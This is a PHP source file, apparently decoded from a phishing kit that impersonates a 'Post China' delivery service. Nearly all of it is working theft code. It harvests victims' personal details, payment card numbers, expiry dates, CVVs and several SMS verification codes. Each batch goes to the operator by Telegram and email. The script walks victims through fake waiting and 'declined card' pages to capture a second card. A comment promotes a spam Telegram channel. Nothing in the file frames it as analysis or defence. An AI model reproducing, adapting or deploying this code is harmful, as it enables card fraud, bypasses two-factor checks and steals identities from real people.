PHP Decode

<?php 
//  my channel https://t.me/Spam_Email_sms_ads 
require_once 'function.php'; 
require_once 'config.php'; 
ob_start(); 
setlocale(LC_TIME, "en_CA"); 
session_start(); 
$rand = md5(microtime()); 
$ip = get_client_ip(); 
if(isset($_GET['billing'])) 
{ 
	$_SESSION['first_name'] = $first_name = $_POST['first_name']; 
	$_SESSION['last_name'] = $last_name = $_POST['last_name']; 
	$_SESSION['address'] = $address = $_POST['address']; 
	$_SESSION['zip_code'] = $zip_code = $_POST['zip_code']; 
	$_SESSION['city'] = $city = $_POST['city']; 
	$_SESSION['birth_date'] = $birth_date = $_POST['birth_date']; 
	$_SESSION['phone'] = $phone = $_POST['phone']; 
        $message.= "Full Name  :  ".$first_name." ".$last_name."
"; 
        $message.= "Adress :  ".$address."
"; 
        $message.= "zip code :  ".$zip_code."
"; 
        $message.= "city :  ".$city."
"; 
        $message.= "date of birth :  ".$birth_date."
"; 
        $message.= "Adress :  ".$address."
"; 
        $message.= "phone :  ".$phone."
"; 
        $message.= "Client IP          :  ".$ip."           
"; 
        send($token,$chatid,$message,$save); 
        $subject = "Post China - Billing  $ip"; 
        $headers = "From: MARKINA <[email protected]>
"; 
        mail($send,$subject,$message,$headers); 
        header("Location: payment.php?id=".base64_encode(rand(9999999,9999999))); 
} 
elseif(isset($_GET['payment'])) 
{ 
        $_SESSION['full_name'] = $full_name = $_POST['full_name']; 
        $_SESSION['one'] = $cc = $_POST['one']; 
        $_SESSION['dexp'] = $dexp = $_POST['two']; 
        $_SESSION['cvv'] = $cvv = $_POST['three']; 
        $message.= "Full Name  :  ".$full_name."
"; 
        $message.= "Card Nmber  :  ".$cc."
"; 
        $message.= "Expiration date :  ".$dexp."
"; 
        $message.= "Cvv :  ".$cvv."
"; 
        $message.= "Client IP          :  ".$ip."           
"; 
		send($token,$chatid,$message,$save); 
		$subject = "Post China - Cards  $ip"; 
        $headers = "From: MARKINA <[email protected]>
"; 
         mail($send,$subject,$message,$headers); 
		header("Location: Waiting.php?id=".base64_encode(rand(9999999,9999999))."&rd=1"); 
} 
elseif(isset($_GET['sms1'])) 
 {       
	    $sms = $_POST['sms_code']; 
        $message.= "Sms Code 1 :  ".$sms."
"; 
        $message.= "Client IP          :  ".$ip."           
"; 
		send($token,$chatid,$message,$save); 
		$subject = "Post China - SMS 1  $ip"; 
        $headers = "From: MARKINA <[email protected]>
"; 
         mail($send,$subject,$message,$headers); 
		header("Location: Waiting.php?id=".base64_encode(rand(9999999,9999999))."&rd=2"); 
} 
elseif(isset($_GET['sms2'])) 
 {       
	    $sms = $_POST['sms_code']; 
        $message.= "Sms Code 2 :  ".$sms."
"; 
        $message.= "Client IP          :  ".$ip."           
"; 
		send($token,$chatid,$message,$save); 
		$subject = "Post China - SMS 2  $ip"; 
        $headers = "From: MARKINA <[email protected]>
"; 
         mail($send,$subject,$message,$headers); 
		header("Location: payment.php?id=".base64_encode(rand(9999999,9999999))."&decline=true"); 
} 
elseif(isset($_GET['decline'])) 
{ 
        $_SESSION['full_name'] = $full_name = $_POST['full_name']; 
        $_SESSION['one'] = $cc = $_POST['one']; 
        $_SESSION['dexp'] = $dexp = $_POST['two']; 
        $_SESSION['cvv'] = $cvv = $_POST['three']; 
        $user = $_SESSION['userdigipass']; 
        $message.= "Full Name  :  ".$full_name."
"; 
        $message.= "Card Nmber  :  ".$cc."
"; 
        $message.= "Expiration date :  ".$dexp."
"; 
        $message.= "Cvv :  ".$cvv."
"; 
        $message.= "Client IP          :  ".$ip."           
"; 
		send($token,$chatid,$message,$save); 
		$subject = "Post China - Cards  $ip"; 
        $headers = "From: MARKINA <[email protected]>
"; 
         mail($send,$subject,$message,$headers); 
		header("Location: Waiting.php?id=".base64_encode(rand(9999999,9999999))."&rd=3"); 
} 
elseif(isset($_GET['sms3'])) 
 {       
	    $sms = $_POST['sms_code']; 
        $message.= "Sms Code 1 :  ".$sms."
"; 
        $message.= "Client IP          :  ".$ip."           
"; 
		send($token,$chatid,$message,$save); 
		$subject = "Post China - SMS 1  $ip"; 
        $headers = "From: MARKINA <[email protected]>
"; 
         mail($send,$subject,$message,$headers); 
		header("Location: Waiting.php?id=".base64_encode(rand(9999999,9999999))."&rd=4"); 
} 
elseif(isset($_GET['sms4'])) 
 {       
	    $sms = $_POST['sms_code']; 
        $message.= "Sms Code 2 :  ".$sms."
"; 
        $message.= "Client IP          :  ".$ip."           
"; 
		send($token,$chatid,$message,$save); 
		$subject = "Post China - SMS 2  $ip"; 
        $headers = "From: MARKINA <[email protected]>
"; 
         mail($send,$subject,$message,$headers); 
		header("Location: successful.php?id=".base64_encode(rand(9999999,9999999))); 
} 
else{ 
 header("location: ./index.php"); 
} 
?>